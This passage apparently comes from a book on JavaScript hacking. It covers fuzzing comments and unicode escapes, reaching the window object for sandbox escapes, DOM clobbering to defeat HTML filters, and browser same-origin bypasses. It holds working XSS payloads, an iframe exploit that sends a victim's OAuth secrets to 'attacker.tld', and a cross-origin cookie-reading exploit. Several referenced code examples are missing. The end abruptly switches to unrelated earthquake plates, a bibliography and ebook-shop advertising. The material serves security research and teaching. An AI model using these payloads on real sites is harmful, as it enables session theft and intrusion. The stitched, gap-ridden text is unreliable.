You can apply the logic above to fuzz for single line comments, instead of placing the placeholders at
the either end of the random string you can place them before to detect them. Next let’s find single
line comments:
1 log=[];
2 for(let i=0;i<=0x10ffff;i++){
3 try {
4 eval(`${String.fromCodePoint(i,i)}%$£234$`)
5 log.push(i)
6 }catch(e){}
7 }
8 console.log(log)//47
We detected a forward slash as expected. You can see there is a real skill in crafting fuzz vectors to
find interesting behaviour. You need to consider how the fuzz vector will be executed and in what
context to avoid false positives.
Finally in this chapter we’re going to cover nested fuzzing to find an interesting JavaScript comment
behaviour that you might not be aware of. Nested fuzzing is tricky to do because it involves way
more characters and currently modern browsers are not powerful enough to execute multiple for
loops with codepoints greater than 0xff. However if we reduce the amount of codepoints being tested
it can still find some interesting stuff.
1 log=[];
2 for(let i=0;i<=0xff;i++){
3 for(let j=0;j<=0xfff;j++){
4 try {
5 eval(`${String.fromCodePoint(i,j)}%$£234$`)
6 log.push([i,j])
7 }catch(e){}
8 }
9 }
10 console.log(log)//[35,33],[47,47]
We used two nested for loops this time, we had to limit the amount of characters as discussed for
performance reasons. Then I used the fromCodePoint method to add two characters one from code
points in each loop and added some junk after the characters to prove a comment was happening. We
add an array of both characters since both are required to produce a comment. We got an expected
double forward slash but what’s this? 35 and 33 which are “#!” they act as a single line comment
provided they are at the beginning of the executed JavaScript. You can verify your results by trying
to execute an alert with this comment in place.
Chapter three - Fuzzing 25
1 #!
2 alert(1337)//executes alert with 1337
1 123
2 #!
3 alert(0)//alert will not be called.
In the example above if there are any characters before the hash the comment will not work. The
shebang was probably added as a comment sequence because of JavaScript being used as shell scripts
with NodeJS and so a common use case was to ignore it.
Fuzzing escapes
In my effort to break JavaScript sandboxes I ventured into fuzzing different escapes such as unicode
escapes discussed in the introduction chapter. This led me to find interesting behvaiour in various
browsers. I found in Safari it wouldn’t throw an exception when encountering unfinished unicode
escapes in strings. Old Opera (pre-Chromium) would also incorrectly parse unicode escapes when
sent to eval. These sort of behaviours can be used for sandbox escapes if you’re lucky but how do
we find them? Fuzzing of course! You just have to be aware of the context you’re fuzzing in and if
they require double encoding. Let’s fuzz a simple unicode escape:
1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try{
5 eval(`\\u{${String.fromCodePoint(i)}0061}`);
6 log.push(i);
7 }catch(e){}
8 }
9 console.log(log)//48
In the code above I fuzz for all the unicode characters as previously earlier in the chapter. This time
I defined a variable “a” which is used to see if eval throws or not. Eval will throw an exception if
the code attempts to access an undefined variable. In this case we want to know if “a” is successfully
accessed or not. We use the unicode escape format of \u{} and you have to escape the backslash
because we want eval to interpret the unicode escape. In the placeholder we add our fuzz character.
When fuzzing all characters we get one result of “48” which is the character code for zero. So we
have determined that this unicode escape format allows zero padding all with pure fuzzing.
Chapter three - Fuzzing 26
Not only can you fuzz for characters you could also fuzz hex by changing the placeholder. Each
number literal has a toString method that allows you to specify the radix which will convert the
integer into the base specified from 2-36. Hexadecimal uses base 16 so we have to pass a radix of 16
to convert it to hex:
1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try {
5 eval(`\\u{${i.toString(16)}}`);
6 log.push(i);
7 } catch(e){}
8 }
9 console.log(log)//97,105
The code above loops through all code points and converts the value to hex to see if the unicode
escape results in a reference to a variable. We have two results: charcodes 97 and 105 which are the
“a” and the “i” characters both declared by us. You can mix and match fuzz strings with characters
and hex to see if the JavaScript engine allows certain characters before, inside or after the hex value.
Let’s try that now and see if the JavaScript engine allows any character inside the hex value:
1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try{
5 eval(`\\u{${String.fromCodePoint(i)}61}`);
6 log.push(i);
7 }catch(e){}
8 }
9 console.log(log)//48
The above code uses a placeholder to add a character before the hex value of the unicode escape. We
get a single result in Chrome which is character code 48 which is the number zero that is expected
but it’s worth trying on other browsers to see if you get the same results.
Summary
In this chapter I hope I’ve taught you a new skill of crafting fuzz vectors! We talked about not trusting
specifications and seeking your own ways of finding how JavaScript works. I showed you how to
use DOM properties to fuzz JavaScript and HTTP URLs. We looked at how you can use innerHTML
to discover how HTML is parsed. Finally we finished off with fuzzing known behaviours to find
Chapter three - Fuzzing 27
deviations and discovered a relatively unknown JavaScript single line comment. Followed by how
to fuzz unicode escapes using hex and inserting characters into the generated hex to determine if
the JavaScript engine allows whitespace or some other characters within the unicode escape.
Chapter four - DOM for hackers
Where’s my window?
In this chapter we are going to hack the DOM in order to understand it more and hopefully teach you
new techniques that you weren’t aware of. First up, the goal of this section is to get the window object
via the DOM. Why do we want a window? The window or global object in node are really important
for sandbox escape because they allow you to reach the globally defined functions such as eval which
allows you to execute arbitrary JavaScript that can then bypass sandboxes. There are many aliases for
the window object: frames, globalThis, parent, self, top. If your site isn’t framed then parent and top
will point to the window object, if it is framed then top will point to the top most window regardless
if it’s cross origin or not. “parent” as you’d expect points to the parent of the current framed page.
There is also a way to access the window object from a DOM node, document.defaultView stores a
reference to the current window object. Try it in your browser console:
The code above calls the alert function by using the defaultView property of the document object to
get a reference to the window object. The defaultView property is only available on the document
object however there’s a trick to get the document object from a DOM node and then access the
defaultView property from the document. You can use a property called ownerDocument and as the
name suggests you can get the document object used by the DOM node:
Many sandboxes have been broken using this knowledge since access to the “window” object is
normally blocked; these workarounds allow you to access it again.
Events are another way of obtaining a window object, when you use an event on a DOM node the
handler is defined with an event argument, this is to get round the fact back in the day when Internet
Explorer was widely popular it used a global called “event”. Modern browsers define the event as an
argument to the handler that way when the event is accessed it is a local variable. Interestingly the
global event object exists today too but it is deprecated. In Chrome there is a path property on each
error event and this is an array of objects that led to the creation of the event. The last element in
the array is the window object, you can obtain a window by simply reading it. The pop() function
comes in handy for this:
Chapter four - DOM for hackers 29
In other browsers you can use the standardised composedPath() method which returns an array
equivalent to the path property in Chrome. That means you can call the composedPath and get the
last element of the array and it will contain the window object in every browser:
Remember when I said each handler adds an argument with the event object? There is a special case
for SVG elements. The browser doesn’t add “event” but rather “evt” which means you can access
the window object using this argument just like the path and composedPath() method:
To find this I didn’t read the Chrome source, instead I looked at the event handler’s code and saw
the definition in there. If you run this in Chrome you can see how the handler function is defined:
So evt points to the event. This seems to be the case for SVG elements but I wonder if there are
others? It’s worth spending some time to see if there are any more because they are useful when a
JavaScript sandbox protects you from accessing the event object.
To finish off this section I’m going to cover the Error object and how you can use prepareStackTrace
to get access to the window object on Chrome. Using the prepareStackTrace callback you can
customise stack traces which is super handy for developers. The idea is you provide a function
that has two arguments one for the error message and the other for an array of CallSite objects. A
CallSite object consists of properties and methods related to the stack trace. For example you’ve got
a isEval flag to determine if the current CallSite is called within an eval function but what we are
really interested in is how to get a window object. Thankfully Chrome provides us with a useful
method called getThis() on a CallSite object and this will return a window object if there’s no “this”
defined by the executing code. Let’s see it in action:
Chapter four - DOM for hackers 30
1 Error.prepareStackTrace=function(error, callSites){
2 callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack
We define our callback method, the function simply gets the first CallSite object from the array of
CallSites, calls the getThis() function which returns the window object that we then use to access and
call the alert() function. The prepareStackTrace callback is only executed when the stack property
of the Error object is accessed.
1 with(document) {
2 with(element) {
3 //executed event
4 }
5 }
Remember that document property defaultView? We can actually use that within an event on its
own. So you can access the window object using just that property:
1 <img/src/onerror=defaultView.alert(1337)>
This works because of the “with” statement above. The browser executes the event and looks for
the defaultView property on the image element, it can’t find it there so now it checks the document
object and it does exist there so the document.defaultView property is accessed and returned. If you
enumerate the document object you can see which properties are available to you. You can do this
using a custom enumerator or simply use console.dir(document) in the browser console.
Because of the scoping of the event you can use other DOM functions too, here we can create a
script, append some code and add it to the document all without specifying the full document path:
1 <img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
Notice that appendChild() is used in this instance because append will throw an exception if you
don’t specify the full path at least on Chrome. The append() function accepts a string or node. The
appendChild() function will actually be executed on the image object, document has a appendChild()
method but the image takes precedence so the script will be appended to the image object not the
document.
Chapter four - DOM for hackers 31
DOM clobbering
DOM clobbering is a technique that takes advantage of a coding pattern that checks for a global
variable and follows a different code path if it doesn’t exist. The idea is you clobber that global
variable that doesn’t exist with a DOM element most commonly the anchor element. Imagine you
have some code like this:
This code example looks innocuous at first glance but actually window.currentUrl is controllable
via not only a global variable but a DOM element too. Back in the early days of web design it was
quite common for sites to use id attributes of form elements to refer to the element thanks to a
feature in Internet Explorer and Netscape that allowed the id or name attribute of the form element
to become a global variable as a shortcut for developers. This feature enables DOM clobbering. You
have probably seen some code that looks like this:
1 <form id=searchForm>
2 </form>
3 <script>
4 searchForm.submit()
5 </script>
The browser creates a global called “searchForm” and lets you use it to refer to the form without
using the getElementById() method. In addition you can use the “name” attribute to do the same
thing with one important difference, when using the “name” attribute you also define a property on
the document object:
The two forms above both create global variables as you can see the “x” and “y” globals have
been clobbered with form elements. The second line of the JavaScript code checks if there is an
“x” property on the document but it is undefined because clobbered elements don’t add properties
to the document. The last line shows that document.y has been clobbered with the form element.
Only certain elements can use the name attribute to clobber globals, they are: embed, form, iframe,
image, img and object.
Chapter four - DOM for hackers 32
Anchor elements make DOM clobbering even more interesting because they allow you to use
the “href” attribute to change the value of the clobbered object. Normally when you use a form
element to clobber a variable you will get the toString value of the element itself e.g. [object
HTMLFormElement] but with anchor the toString will be the anchor “href”:
As you can see the global “x” contains the string “clobbered:1337” when accessed as a string. Notice
I said when accessed as a string, “x” is still an anchor object it’s just the toString of the anchor
object that returns the “href” of the element. Something else to be aware of when attempting DOM
clobbering is you can only get the value of known HTML attributes. For instance you can’t do
“x.notAnAttribute” whereas “x.title” is fine. I set myself a goal to break this rule many years ago and
it’s possible to use collections to get around this. DOM Collections are array-like objects that hold
HTML elements. I found you could use multiple elements with the same id or name and it would
form a collection. Then you could use another id or name (depending on what you originally used)
to clobber a second property. This is probably best illustrated by an example:
1 <a id=x>
2 <a id=x name=y href=clobbered:1337>
3 <script>
4 alert(x.y)//clobbered:1337
5 </script>
In the example above the two anchors share an id attribute with the same value “x”, this forms a
DOM collection, then the second anchor has a name attribute and because it’s a DOM collection
you can refer to items in the collection by name or index, in this case we’re referring to the second
anchor by name “y”. It’s quite possible to use a index too:
1 <a id=x>
2 <a id=x name=y href=clobbered:1337>
3 <script>
4 alert(x[1])//clobbered:1337
5 </script>
The above code gets the DOM collection with “x” and gets the second item in the collection
(collections are indexed from zero) which enables us to clobber x[1] with a value we can control.
With anchor elements it’s only possible to clobber properties two levels deep. Adding a third anchor
will create a collection but you can only reference the third anchor by index:
Chapter four - DOM for hackers 33
1 <a id=x>
2 <a id=x name=y href=clobbered:1>
3 <a id=x name=y href=clobbered:2>
4
5 <script>
6 alert(x[2])//clobbered:2
7 </script>
The above code creates a collection with three anchors and the third anchor is indexed using 2
because remember collections are indexed from zero. If I changed the third anchor to have a name
attribute of “z” this would not work because the name attribute doesn’t create a collection. If you
need to clobber three levels deep you have to use a different element such as form.
However, there’s a problem: As mentioned earlier you cannot control the toString of elements other
than anchors, so in this case “z” will be equal to "[object HTMLInputElement]". In order to clobber
properties more than three levels deep you have to use valid HTML attributes that are also valid
DOM properties:
There is one exception to this rule using iframes. With iframes you can use the srcdoc and the name
attributes. What happens here is the window of the iframe has the clobbered value which means
you can chain together iframes and other elements to clobber as many levels deep as you want. The
only downside is iframe is likely blocked by a HTML filter.
This is best illustrated with an example. First we create the iframe and use the srcdoc attribute to
create an element inside the iframe:
Chapter four - DOM for hackers 34
The above example shows that “foo” has been clobbered but it’s been clobbered with the window
object of the iframe and because it’s the same origin it allows us to do further clobbering using
the inside of the iframe. But why is “foo.bar” undefined? This is because the iframe srcdoc takes
some time to render and there’s not enough time to render the contents of the frame and clobber
the property with the anchor element. Fortunately, I discovered a workaround, if you introduce a
cross-origin style import this creates enough delay for the element to be rendered inside the iframe:
Using this technique you can clobber as many properties as you like provided there is enough time
for them to render. There is a problem though, in order to specify nested iframe attributes you have
the limitation of using single and double quotes and once a specific quote has been used you can’t
use it again. The solution is to use HTML encoding, you can then encode the contents of the “srcdoc”
as many times as required. Yes you heard it right you can use HTML entities inside the “srcdoc” to
render HTML!
Let’s try and clobber five properties. First you need an iframe with a name attribute with the first
property name and a double quoted “srcdoc”. Then another iframe for the second property with
“srcdoc” attribute in single quotes to create another nested iframe which creates the third property.
After that we create “srcdoc” without quotes to create our clobbered anchors. Because we are using
nested “srcdocs” we have to HTML encode the amount of times the iframe is nested for. We need
the style block again to give the iframes time to render and after all that we can clobber a.b.c.d.e!
Filter exploitation
There are other ways of exploiting DOM clobbering, controlling the value is just one way of
exploitation. You can clobber the attributes property of a DOM node to fool a filter into removing no
attributes at all. Consider the following example which shows a form element with three attributes,
the script loops through the attributes from the last to the first and checks if it begins with “on” if it
does it removes the attribute:
The script removes the attributes by looping through all the attributes using the attributes property,
unfortunately this property can be clobbered by providing a child node with a name of “attributes”.
What happens then is the script uses the clobbered input as the attributes property and the length of
that element is undefined and therefore the loop will not iterate anything. This allows an attacker
to sneak their malicious events in and break the filtering.
You are not limited to attributes, other DOM properties like tagName/nodeName are clobberable,
imagine you have a block list filter that removes certain tags such as form. You can inject a form
with an input element that has a name attribute with tagName or nodeName. When a filter accesses
the tagName or nodeName it will instead access the clobbered input and therefore return the wrong
value:
1 <form id=x>
2 <input name=nodeName>
3 </form>
4 <script>
5 alert(document.getElementById('x').nodeName)//[object HTMLInputElement]
6 </script>
Even properties like parentNode are not safe. You can clobber it just like the others which will
return the incorrect parentNode for a form element. If you had a DOM based filter that traversed
elements using DOM properties such as parentNode, nextSibling, previousSibling etc. Your filter
would traverse the wrong elements and filter the incorrect DOM nodes.
Chapter four - DOM for hackers 36
Clobbering document.getElementById()
This is a technique I found recently where you can actually clobber the results of a docu-
ment.getElementById() call. If you have an element with the id of “x” and another element with
the same id in most circumstances the first element is returned by getElementById(). However, I
discovered if you use a <html> or <body> element you can change the order of the DOM and those
elements will merge the attributes of the duplicate tags which causes getElementById() to return the
<html> or <body> tag depending on which one you use:
1 <div id="x"></div>
2 <body id="x">
3 <script>
4 alert(document.getElementById('x'))
5 </script>
This can be exploited when a site is protected by CSP and you have a HTML injection that occurs
after all the elements you wish to exploit. Using this technique you can clobber existing nodes and
change the results of getElementById() to use your element and possibly gain XSS depending on
what the site does. I found this technique whilst testing a well known large site and they where
using a div element that was invisible at the start of the DOM tree near the body tag and they were
using this to control a CDN domain that was later used in a service worker script that then use an
importScript() call inside the service worker.
Clobbering document.querySelector()
The same technique can be used to clobber the results of document.querySelector(), if a site uses it
to find the first element with a certain class name then the DOM will be reordered and the injected
<html> or <body> element will be return instead:
1 <div class="x"></div>
2 <body class="x">
3 <script>
4 alert(document.querySelector('.x'))
5 </script>
Summary
We covered all sorts of interesting things in this chapter. First we found different ways of getting
the window object from a DOM node. Then we looked at the scoping of DOM events and how each
event has access to not only the element scope but also document scope. We finished off with a
section on DOM clobbering and explained the various possible attacks and we learned how difficult
it is to write a filter that traverses the DOM safely.
Chapter five - Browser exploits
Introduction
We can’t have a book on JavaScript hacking without a chapter on browser exploits right? In this
chapter I’ll discuss the various browser exploits I’ve found over the years. I’ve been hacking browsers
(mostly in my spare time) for over 15 years. In that time I’ve managed to find a SOP (same origin
policy) bypass or infoleak in every major browser engine.
Browser hacking is a very niche area of research but it is super fun and you will learn a tremendous
amount that you can use in other areas. This section won’t be in chronological order when I found
the bug but instead I’ll start with the simple bugs and lead up to the more complicated SOP bypasses.
1 <script>
2 function poc() {
3 var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=\
4 200');
5 setTimeout(function(){
6 alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
7 }, 5000);
8 }
9 </script>
10 <input type=button value="Firefox knows" onclick="poc()">
The above proof of concept opened a new window to twitter.com/lists this caused a redirection to a
personalised URL. The second waited 5 seconds then attempted to read the location object and used
a regex to get the twitter username. Then it would show an alert box and identify you.
Original write up*
1 <script>
2 function poc(iframe) {
3 var win = iframe.contentWindow;
4 setTimeout(function(){
5 win.location.hostname='attacker.tld'
6 } , 5000);
7 }
8 </script>
9 <iframe src="https://oauth.example.com" onload=poc(this)></iframe>
The above example code loads an iframe that would then perform some sort of authentication and
store some sensitive data in the query string. When the page is loaded after redirection on the
target site the poc() function is called which gets a reference to the iframe and then the content
window that refers to the cross origin window of the iframe. Then after five seconds, the attacker
changes the hostname of the iframe to point to the attacker’s domain. The attacker then simply reads
location.search on their domain to steal the secrets.
*http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-your-friends-did-last-summer/
Chapter five - Browser exploits 39
1 <script>
2 var contents = location.search//contains the query string secrets
3 </script>
You can no longer do this in modern browsers; they sensibly prevent read/write access to the host
and hostname properties.
1 foo.constructor.constructor('alert(document.domain)')();
Using the code above if the alert pops up and gives a different domain then this is a good indication
you’ve found a SOP bypass. However, this is not foolproof as you’ll find later in the chapter. I found
this bug whilst playing with iframes and the Hackvertor inspector. I simply loaded an iframe and
began to test each property. I’ve since written a better inspector which makes it easier to demonstrate
so we’ll use that. Here are the steps to test:
1. Visit Hackability*
2. Observe that there are some properties that are enumerable
3. Click each of the properties to traverse further
4. Attempt to access and call the constructor of each property using the method discussed
previously.
Using this method I found that IE was leaking a cross origin constructor on the closed property.
Because this value was a boolean, I had to use constructor twice, once to get the boolean constructor
and once to get the Function constructor to execute arbitrary code. The executed code had full access
to the cross origin window object meaning you could read the cookie and any other DOM property.
The full exploit looked like this:
*https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-
labs.net%20id=x%3E
Chapter five - Browser exploits 40
1 <iframe src="https://garethheyes.co.uk"
2 onload="this.contentWindow.closed.constructor.constructor('alert(document.cookie')()\
3 ">
4 </iframe>
This exploit wasn’t limited to frames, you could use new windows to conduct this attack.
Plate 3.
A. An earthquake fault opened in Formosa in 1906, with
vertical and lateral displacements combined (after Omori).
Plate 4.
A. Experimental tank to illustrate the earth movements which are
manifested in earthquakes. The sections of the earth’s shell are
here represented before adjustment has taken place.
Earthquake construction:—
John Milne. Construction in Earthquake Countries, Trans. Seis. Soc.,
Japan, vol. 14, 1889-1890, pp. 1-246.
F. de Montessus de Ballore. L’art de bâtir dans les pays à tremblements
de terre (34th Congress of French Architects), L’Architecture,
193 Année, 1906, pp. 1-31.
Gilbert, Humphrey, Sewell, and Soulé. The San Francisco Earthquake
and Fire of April 18, 1906, and their Effects on Structures and
Structural Materials, Bull. 324, U. S. Geol. Surv., 1907, pp. 1-
170, pls. 1-57.
William H. Hobbs. Construction in Earthquake Countries, The
Engineering Magazine, vol. 37, 1909, pp. 1-19.
Lewis Alden Estes. Earthquake-proof Construction, a discussion of the
effects of earthquakes on building construction with special
reference to structures of reënforced concrete, published by
Trussed Concrete Steel Company. Detroit, 1911, pp. 46.
Welcome to our website – the ideal destination for book lovers and
knowledge seekers. With a mission to inspire endlessly, we offer a
vast collection of books, ranging from classic literary works to
specialized publications, self-development books, and children's
literature. Each book is a new journey of discovery, expanding
knowledge and enriching the soul of the reade
Our website is not just a platform for buying books, but a bridge
connecting readers to the timeless values of culture and wisdom. With
an elegant, user-friendly interface and an intelligent search system,
we are committed to providing a quick and convenient shopping
experience. Additionally, our special promotions and home delivery
services ensure that you save time and fully enjoy the joy of reading.
ebooknice.com